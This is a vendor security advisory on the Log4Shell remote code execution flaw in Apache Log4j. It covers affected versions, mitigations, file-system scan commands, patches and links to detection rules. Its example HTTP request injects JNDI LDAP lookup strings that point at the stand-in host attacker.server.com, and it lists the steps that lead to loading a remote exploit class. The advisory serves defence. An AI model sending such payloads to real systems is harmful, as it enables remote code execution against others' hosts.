Apache Log4J “Log4Shell” 0-Day Vulnerability Report

Confirmed Affected Software:

• Apache Log4j

– https://logging.apache.org/log4j/2.x/security.html

Executive Summary

A critical vulnerability has been recently discovered in Apache Log4j – a popular Java open-source logging library used in countless applications across the world. This vulnerability, also named Log4Shell or LogJam, is being traced as CVE-2021-44228 and it has been assigned the maximum CVSS score of 10. If exploited, it can give to a threat actor the ability to execute arbitrary code and potentially take full control of the vulnerable system.

The information contained in this report has been derived from multiple sources and is accurate as of the date of publishing. We are expecting future updates to be made as more information becomes available.

Published evidence confirm that this vulnerability is being actively exploited in the wild, and because of its ease of exploitation, it is considered especially dangerous. Working Proof of Concepts (PoC) are already available on the Internet, and even an inexperienced attacker can successfully execute an attack using this vulnerability.

Herein, we have compiled a listing of publicly reported information about this vulnerability, how to check whether an application is vulnerable, and how to implement a workaround before all the security patches from vendors will become available.

For assistance with either process, please contact Aon’s Cyber Solutions. More information can also be found in our recent Client Alert | Log4j.

CVE-2021-44228 (Remote Code Execution via JNDI Lookup)

CVSS: 3.0 10.0 / 10.0

Overview

The vulnerability is critical, as it can be exploited from remote by an unauthenticated adversary to execute arbitrary code.

Logging untrusted data with a vulnerable version of Log4j may result in Remote Code Execution (RCE) against your application. This includes untrusted data provided in logged errors such as exception traces, authentication failures, and other unexpected vectors of user-controlled input.

The vulnerability results from how log messages are being handled by the Log4j processor. By submitting a specially crafted request to a vulnerable system, depending on how the system is configured, an attacker can instruct that system to download an external code class or a Java deserialised payload, leading to a situation where arbitrary code can be executed.

An example of proof-of-concept attack is presented below.

Example POC

POST /login.jsp HTTP/1.1
Host: vulnerabe.app.com
User-Agent: ${jndi:ldap://attacker.server.com:1389/a}
[..snip..]
username=${jndi:ldap://attacker.server.com:1389/b}&password=foo

In summary, the attacks steps are:

1. Inject the malicious JNDI LDAP URL, ${jndi:ldap://attacker.server.com:1389/ExploitPayload}, into application input that will be logged by Log4j.
2. The Log4j logger will parse the JNDI URL, and the vulnerable application will reach out to malicious LDAP server looking for the “ExploitPayload” object.
3. The attacker controller LDAP server will serve a reference to an additional attacker controller server that redirects the vulnerable application to http://attacker.server.com/ExploitPayload.class
4. The vulnerable application will load the attacker’s ExploitPayload.class and execute it, enabling the attacker to gain remote code execution privileges on the host running the application. This step depends on the version of Java that the application is running with and the application itself.

Affected Version

Any Log4j version starting from 2.0-beta9 to 2.15.0 is vulnerable.

The version 1 of Log4j is vulnerable to other known security issues, it has reached end of life and it should not be used.

Affected Software

A significant number of Java-based applications are using Log4j as their logging utility and they are vulnerable to this CVE. The following GitHub repositories can be used to list the known affected application/vendors:

• https://github.com/authomize/log4j-log4shell-affected
• https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
• https://github.com/YfryTchsGD/Log4jAttackSurface
• https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core

Mitigations

In releases >=2.10, this vulnerability can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.

For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookupclass from the classpath.
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Note: Deleting the JndiLookup.class will mitigate the issue in any version of Log4j and/or JRE/JDK.

Note: Environment variables might not be always respected by applications, and as consequence, they might not mitigate this issue.

Note: Updating the JRE/JDK to higher version than 8u191, 7u201, 6u211, and 11.01 will prevent trivial exploitation via remote class loading, but they DO NOT protect against Java deserialisation attack vectors.

Recommendations

1) Identify vulnerable third-party software / internal developed applications via:

–  Asset inventories.
–  Software bill of material manifests.
–  Software build pipeline dependency manifests (e.g., Maven etc.).
–  Vendor bulletins (see above).
–  File system discovery (see below) on Windows / Linux to identify class files.
–  Log file analytics to identify Log4j like entries.
–  Exploitation (see above).

2) Software developers should:

– Ensure they strictly enforce via Gradle (or similar frameworks) non vulnerable versions of Log4j to mitigate transient dependencies.

– Example Maven enforcer rule.
https://gist.github.com/gunnarmorling/8026d004776313ebfc65674202134e6d

– Ensure they catch dependencies such as AWS lambda-java-log4j2 – which will need upgrading and redeployment to mitigate
https://aws.amazon.com/security/security-bulletins/AWS-2021-005

3)  Patch vulnerable software for which patches are available (see vendor bulletins):

– Hot patch also exists (see above).

4)  Limit network egress from hosts where vulnerable software exists when possible.

5)  Mitigate through configuration changes

6)  Ensure protective monitoring via:

–  Network for remote class loading
–  On host for remote class loading
–  On host for unexpected command execution

File System Discovery

The following commands can be used to discover potentially vulnerable Java class files (.jar).

PowerShell

gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path

Linux

find / 2>/dev/null -regex ".*.jar" -type f | xargs -I{} grep JndiLookup.class "{}"

Log4j detector

A third-party tool has been released written in Java.
–    https://github.com/mergebase/log4j-detector

Patch / Update

The Log4j library should be updated at least to version 2.16.0
–    https://github.com/apache/logging-log4j2

A third-party hot patch has also been produced – a simple tool which injects a Java agent into a running JVM process. The agent will patch the lookup() method of all loaded org.apache.logging.log4j.core.lookup.JndiLookup instances to unconditionally return the string “Patched JndiLookup::lookup()”.
–    https://github.com/corretto/hotpatch-for-apache-log4j2

Exploitation Detection

It is recommended to start an immediate investigation to determine if any threat actors were already able to exploit this issue to gain access to any vulnerable application that may have been exposed. This should be done in parallel after applying the recommended remediations.

Please note that exploitation detection may be fragile. It is recommended where possible you aim to detect both the exploitation attempt (which will be very noisy currently) but also the subsequent post exploitation loading of a remote Java class file.

Refer to the following links for attacks signatures, tools, and further information.

• https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
• https://github.com/Neo23x0/signature-base/blob/master/yara/expl_log4j_cve_2021_44228.yar
• https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml
• https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml
• https://github.com/reprise99/Sentinel-Queries/blob/main/Azure%20Diagnostics/CVE-2021-44228-2.kql
• https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Log4J_IPIOC_Dec112021.yaml
• https://www.splunk.com/en_us/blog/security/log-jammin-log4j-2-rce.html
• https://github.com/Neo23x0/log4shell-detector
• https://gist.github.com/yt0ng/8a87f4328c8c6cde327406ef11e68726
• https://research.nccgroup.com/2021/12/12/log4shell-reconnaissance-and-post-exploitation-network-detection/

How We Can Help

Aon’s Cyber Solutions can help you Seek, Shield and Solve your cyber security challenges. Aon is a leading independent CREST and NCSC CHECK “Green” service provider who specialises in offering bespoke professional security assurance and risk transfer services to a wide range of clients within both the private and public sectors – including penetration testing, digital forensics and incident response, cyber risk quantification and cyber insurance broking.

For organisations with a potential vulnerability, identifying and remediating this can be critical to limit the exposure of the business. If these vulnerabilities, or any other form of vulnerability, affects your organization our security testing team is on hand to help you identify vulnerabilities that could adversely affect your organization and advise how best to remediate them.

For organisations with a potential supply chain or third-party vulnerability, understanding and identifying possible indicators of compromise to understand the impact and scope can be critical to the management of defending against an attack before the damage is done – or before learning about a breach from a third party or the media.

Our compromise assessment service allows companies to perform targeted analysis and gather potential evidence to answer the question: “Have we already been compromised?” We conduct forensic analysis to identify ongoing or historic intrusions in an environment. We use a combination of leading technologies, proprietary tools, and robust methodologies to help unearth attack vectors, techniques, and technology. By proactively searching for evidence of compromise or intent, we can help identify widely known attack patterns as well as potentially suspicious activity and outliers which might otherwise evade traditional or more automated security solutions.

AUTHORED BY:

• Stefano Ciccone, Principal Consultant

 

This material has been prepared for informational purposes only and should not be relied on for any other purpose. You should consult with your own professional advisors or IT Department before implementing any recommendation or the guidance provided herein. Further, the information provided, and the statements expressed are not intended to address the circumstances of any particular individual or entity. Although we endeavor to provide accurate and timely information and use sources that we consider reliable, there can be no guarantee that such information is accurate as of the date it is received or that it will continue to be accurate in the future.